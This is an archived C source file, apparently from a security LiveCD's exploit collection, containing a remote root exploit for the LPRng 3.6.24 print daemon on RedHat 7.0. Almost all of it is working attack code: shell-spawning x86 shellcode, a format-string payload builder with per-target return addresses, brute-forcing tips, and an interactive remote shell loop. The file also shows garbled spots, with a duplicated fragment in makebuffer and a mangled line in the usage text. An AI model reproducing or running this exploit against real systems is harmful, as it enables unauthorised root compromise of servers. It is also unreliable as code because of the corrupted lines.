home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / LPRng-3.6.24-1.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  407 lines

  1. /*
  2.  *    REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
  3.  *
  4.  * The RedHat 7.0 replaced the BSD lpr with the LPRng package which is 
  5.  * vulnerable to format string attacks because it passes information
  6.  * to the syslog incorrectly.
  7.  * You can get remote root access on machines running RedHat 7.0 with
  8.  * lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
  9.  *
  10.  * bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
  11.  * is -not- installed by default (isnt a package of the slackware).
  12.  *
  13.  * and,.. this code is for educational propourses only, do not use
  14.  * it on remote machines without authorization.
  15.  *
  16.  * greets: bruj0, ka0z, dn0, #rdC and #flatline
  17.  *
  18.  * coded by venomous of rdC - Argentinian security group.
  19.  * venomous@rdcrew.com.ar
  20.  * http://www.rdcrew.com.ar
  21.  *
  22.  */
  23.  
  24. #include <stdio.h>
  25. #include <string.h>
  26. #include <netdb.h>
  27. #include <netinet/in.h>
  28. #include <sys/socket.h>
  29. #include <sys/types.h>
  30. #include <sys/time.h>
  31. #include <unistd.h>
  32. #include <errno.h>
  33. #include <time.h>
  34. #include <signal.h>
  35.  
  36. char shellcode[]= // not mine
  37. "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" 
  38. "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08"
  39. "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10"
  40. "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c"
  41. "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe"
  42. "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
  43. "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2"
  44. "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
  45. "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
  46. "\xff\x2f\x62\x69\x6e\x2f\x73\x68";
  47.  
  48. void usage(char *prog);
  49. void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc);
  50. void sigint();
  51. void sigalarm();
  52. void mk_connect(char victim[128], int port);
  53.  
  54. char yahoo[1024];
  55.  
  56. struct os
  57. {
  58.     char *addr;
  59.     char *shelladdr;
  60.     char *desc;
  61.     int addroffset;
  62.     int shelladdroffset;
  63.     int pad;
  64.     int fsc;
  65. };
  66.  
  67. /* generally, the addresses are wrong for a very small value,, i recommend
  68.  * that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1)
  69.  * if it dont work, try the same but changing the fsc (this is the value
  70.  * of when we start to control the formats strings), start from 290 until
  71.  * 330, it should be enough.
  72.  * and if it still dont work,, :|, try with the offset of the shellcode
  73.  * address, this buffer has nops, so it shouldnt be difficult to guess.
  74.  * make a .sh! :)
  75.  * of course, you can start gdb on your box(es) and dont guess nothing
  76.  * just inspect the program and get the correct values!
  77.  *
  78.  * -venomous
  79.  */
  80.  
  81. struct os target[]=
  82. {
  83.     {"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2,
  84. 299},
  85.         {"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm -
  86. glibc-2.2-5", 0, 0, 2, 304},
  87.         {NULL,NULL,NULL,0,0}
  88. };
  89.  
  90.  
  91. main(int argc, char *argv[])
  92. {
  93.     int port=515,
  94.     so=0,
  95.     padding=0,
  96.     retlocoffset=0,
  97.     shellcodeoffset=0,
  98.     fscT=0;
  99.  
  100.     char arg,
  101.         victim[128],
  102.     rl[128],
  103.     sh[128];
  104.  
  105.  
  106.     if(argc < 3)
  107.         usage(argv[0]);
  108.  
  109.     bzero(victim,sizeof(victim));
  110.     bzero(rl,sizeof(rl));
  111.     bzero(sh,sizeof(sh));
  112.  
  113.     while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF)
  114.     {
  115.         switch(arg)
  116.         {
  117.         case 'h':
  118.             strncpy(victim,optarg,128);
  119.             break;
  120.         case 'p':
  121.             port = atoi(optarg);
  122.             break;
  123.         case 'r':
  124.             strncpy(rl,optarg,128);
  125.             break;
  126.         case 's':
  127.             strncpy(sh,optarg,128);
  128.             break;
  129.         case 't':
  130.             so = atoi(optarg);
  131.             break;
  132.         case 'P':
  133.             padding = atoi(optarg);
  134.             break;
  135.         case 'R':
  136.             retlocoffset = atoi(optarg);
  137.             break;
  138.         case 'S':
  139.             shellcodeoffset = atoi(optarg);
  140.             break;
  141.         case 'c':
  142.             fscT = atoi(optarg);
  143.             break;
  144.         default:
  145.             usage(argv[0]);
  146.             break;
  147.         }
  148.     }
  149.  
  150.     if(strlen(victim) == 0)
  151.         usage(argv[0]);
  152.  
  153.     if (strcmp(rl,""))
  154.         target[so].addr = rl;
  155.  
  156.     if (strcmp(sh,""))
  157.         target[so].shelladdr = sh;
  158.  
  159.     if (retlocoffset != 0)
  160.         target[so].addroffset = target[so].addroffset + retlocoffset;
  161.  
  162.     if (shellcodeoffset != 0)
  163.         target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset;
  164.  
  165.     if (padding != 0)
  166.         target[so].pad = target[so].pad + padding;
  167.  
  168.     if (fscT != 0)
  169.         target[so].fsc = target[so].fsc + fscT;
  170.  
  171.     signal(SIGINT, sigint);
  172.     makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset,
  173. target[so].pad, target[so].fsc);
  174.     mk_connect(victim, port);
  175.  
  176. }
  177.  
  178. void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc)
  179. {
  180.     cint shoffset, int padding, int fsc)
  181. {
  182.     char *tmp,
  183.     addrtmp[216],
  184.     ot[128];
  185.  
  186.     int i,b,x,t;
  187.     unsigned long pt;
  188.  
  189.     char temp[128];
  190.     char a1,a2,a3,a4,a5,a6,a7,a8;
  191.     char fir[12],sec[12],thr[12],f0r[12];
  192.     unsigned long firl,secl,thrl,forl;
  193.     unsigned long pas1,pas2,pas3,pas4;
  194.  
  195.  
  196.     bzero(yahoo,sizeof(yahoo));
  197.     bzero(ot,sizeof(ot));
  198.     bzero(addrtmp,sizeof(addrtmp));
  199.  
  200.     printf("** LPRng remote root exploit coded by venomous of rdC **\n");
  201.     printf("\nconstructing the buffer:\n\n");
  202.     printf("adding bytes for padding: %d\n",padding);
  203.     for(i=0 ; i < padding ; i++)
  204.         strcat(yahoo,"A");
  205.  
  206.     tmp = addr;
  207.     pt = strtoul(addr, &addr,16) + addroffset;
  208.     addr = tmp;
  209.     printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt);
  210.     printf("adding resulting retloc(%p)..\n",pt);
  211.     sprintf(addrtmp, "%p", pt);
  212.     if(strlen(addr) != 10)
  213.     {
  214.         printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr));
  215.         exit(1);
  216.     }
  217.  
  218.     pt = 0;
  219.  
  220.     for (i=0 ; i < 4 ; i++)
  221.     {
  222.         pt = strtoul(addrtmp, &addrtmp, 16);
  223.         //strcat(yahoo, &pt);
  224.         bzero(ot,sizeof(ot));
  225.         sprintf(ot,"%s",&pt);
  226.         strncat(yahoo,ot,4);
  227.         pt++;
  228.         sprintf(addrtmp, "%p", pt);
  229.         //printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo);
  230.     }
  231.  
  232.     tmp = shaddr;
  233.     pt = 0;
  234.     pt = strtoul(shaddr,&shaddr,16) + shoffset;
  235.     sprintf(ot,"%p",pt);
  236.     shaddr = ot;
  237.  
  238.     printf("adding shellcode address(%s)\n", shaddr);
  239.     sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8);
  240.  
  241.     sprintf(fir,"0x%c%c",a1,a2);
  242.     sprintf(sec,"0x%c%c",a3,a4);
  243.     sprintf(thr,"0x%c%c",a5,a6);
  244.     sprintf(f0r,"0x%c%c",a7,a8);
  245.  
  246.     firl = strtoul(fir,&fir,16);
  247.     secl = strtoul(sec,&sec,16);
  248.     thrl = strtoul(thr,&thr,16);
  249.     forl = strtoul(f0r,&f0r,16);
  250.  
  251.     pas1 = forl - 50 - padding;
  252.     pas1 = check_negative(pas1);
  253.  
  254.     pas2 = thrl - forl;
  255.     pas2 = check_negative(pas2);
  256.  
  257.     pas3 = secl - thrl;
  258.     pas3 = check_negative(pas3);
  259.  
  260.     pas4 = firl - secl;
  261.     pas4 = check_negative(pas4);
  262.  
  263.     sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3,
  264. fsc+2,pas4, fsc+3);
  265.     strcat(yahoo,temp);
  266.  
  267.     printf("adding nops..\n");
  268.     b = strlen(yahoo);
  269.     for (i=0 ; i < (512-b-strlen(shellcode)) ; i++)
  270.         yahoo[b+i] = '\x90';
  271.  
  272.     printf("adding shellcode..\n");
  273.     b=+i;
  274.     for (x=0 ; x < b ; x++)
  275.         yahoo[b+x] = shellcode[x];
  276.  
  277.     strcat(yahoo,"\n");
  278.  
  279.     printf("all is prepared.. now lets connect to something..\n");
  280.  
  281. }
  282.  
  283. check_negative(unsigned long addr)
  284. {
  285.     char he[128];
  286.  
  287.     sprintf(he,"%d",addr);
  288.     if (atoi(he) < 0)
  289.         addr = addr + 256;
  290.     return addr;
  291. }
  292.  
  293. void mk_connect(char victim[128], int port)
  294. {
  295.     struct hostent *host;
  296.     struct sockaddr_in den0n;
  297.     int sox;
  298.  
  299.     den0n.sin_family = AF_INET;
  300.     den0n.sin_port = htons(port);
  301.  
  302.     host = gethostbyname(victim);
  303.     if (!host)
  304.     {
  305.         printf("cannot resolve, exiting...\n");
  306.         exit(0);
  307.     }
  308.  
  309.     bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length);
  310.  
  311.     sox = socket(AF_INET, SOCK_STREAM, 0);
  312.  
  313.     signal(SIGALRM, sigalarm);
  314.     alarm(10);
  315.  
  316.     printf("connecting to %s to port %d\n",host->h_name, port);
  317.     if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0)
  318.     {
  319.         putchar('\n');
  320.         perror("connect");
  321.         exit(1);
  322.     }
  323.     printf("connected!, sending the buffer...\n\n");
  324.     write(sox, yahoo , strlen(yahoo));
  325.     printf("%s\n", yahoo);
  326.     sleep(1);
  327.     alarm(0);
  328.     runshell(sox);
  329. }
  330.  
  331. int runshell(int sox)
  332. {
  333.     fd_set  rset;
  334.     int     n;
  335.     char    buffer[4096];
  336.  
  337.     char *command="/bin/uname -a ; /usr/bin/id\n";
  338.  
  339.  
  340.     send(sox, command, strlen(command), 0);
  341.  
  342.     for (;;) {
  343.         FD_ZERO (&rset);
  344.         FD_SET (sox, &rset);
  345.         FD_SET (STDIN_FILENO, &rset);
  346.  
  347.         n = select(sox + 1, &rset, NULL, NULL, NULL);
  348.         if(n <= 0)
  349.             return (-1);
  350.  
  351.         if(FD_ISSET (sox, &rset)) {
  352.             n = recv (sox, buffer, sizeof (buffer), 0);
  353.             if (n <= 0)
  354.                 break;
  355.  
  356.             write (STDOUT_FILENO, buffer, n);
  357.         }
  358.  
  359.         if(FD_ISSET (STDIN_FILENO, &rset)) {
  360.             n = read (STDIN_FILENO, buffer, sizeof (buffer));
  361.             if (n <= 0)
  362.                 break;
  363.  
  364.             send(sox, buffer, n, 0);
  365.         }
  366.     }
  367.     return (0);
  368. }
  369.  
  370. void sigalarm()
  371. {
  372.     printf("connection timed out, exiting...\n");
  373.     exit(0);
  374. }
  375.  
  376. void sigint()
  377. {
  378.     printf("CAUGHT sigint, exiting...\n");
  379.     exit(0);
  380. }
  381.  
  382.  
  383. void usage(char *prog)
  384. {
  385.     int i;
  386.  
  387.     printf("\n** LPRng remote root exploit coded by venomous of rdC **\n");
  388.     printf("Usage:\n\n");
  389.     printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S
  390. offset> <-c offset>\n\n", prog);
  391.     printf("-h is the victim ip/host\n");
  392.     printf("-p select a different port to connect, default 515\n");
  393.     printf("-r is the address to overwrite\n");
  394.     printf("-s is the address of the shellcode\n");
  395.     printf("You can use a predefined addr/shellcodeadtf("You can use a predefined addr/shellcodeaddr using
  396. -t <number>\n\n");
  397.     printf("availables types:\n\n");
  398.     for (i=0 ; target[i].desc != NULL ; i++)
  399.         printf("%d - %s\n",i,target[i].desc);
  400.     printf("\n-P is to define the padding to use, usually 2\n");
  401.     printf("-R the offset to add to <addr>\n");
  402.     printf("-S the offset to add to <shellcodeaddr>\n");
  403.     printf("-c where we start to control the format string\n\n");
  404.     exit(0);
  405. }
  406.  
  407.